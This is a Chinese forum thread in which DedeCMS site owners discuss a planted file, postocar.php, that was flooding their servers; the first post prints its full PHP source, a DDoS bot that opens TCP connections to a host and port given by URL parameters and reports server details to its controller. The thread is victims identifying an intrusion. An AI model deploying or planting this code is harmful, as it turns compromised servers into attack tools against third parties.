dede被挂马 求鉴定！

sol_lu

puls目录下多了个文件 postocar.php
<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$packets = 64;
ignore_user_abort(True);


if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        exit;
    }
$max_time = time()+$exec_time;
while(1){
    $packets++;
    if(time() > $max_time or $exec_time != 69){
        break;
    }
    $fp = fsockopen("tcp://$host", $port, $errno, $errstr, 0);
}

?>

终于被我找出来了！前几天服务器天天宕机

zyzit

不懂呢  楼下来

happygo

NND DEDE 站漏洞 不上补丁不行 我昨天才发现异常  2个VPS 一个国内 一个国外   也狂向发包 一天 发了200G 流量 CPU 100% 还没有找到 木马文件 临时办法 关了 脚本 执行权限 还在找 马文件

[ 本帖最后由 happygo 于 2011-10-26 17:28 编辑 ]

mapleaf

马。

yswei

dede用后台的检测功能 很容易找到马。

sol_lu

原帖由 yswei 于 2011-10-26 17:27 发表
dede用后台的检测功能 很容易找到马。

没用过后台的检测功能..我直接查日志 查连接

happygo

找到了 和楼主的 文件名 一模样~！~

happygo

后台检测 有的检不出来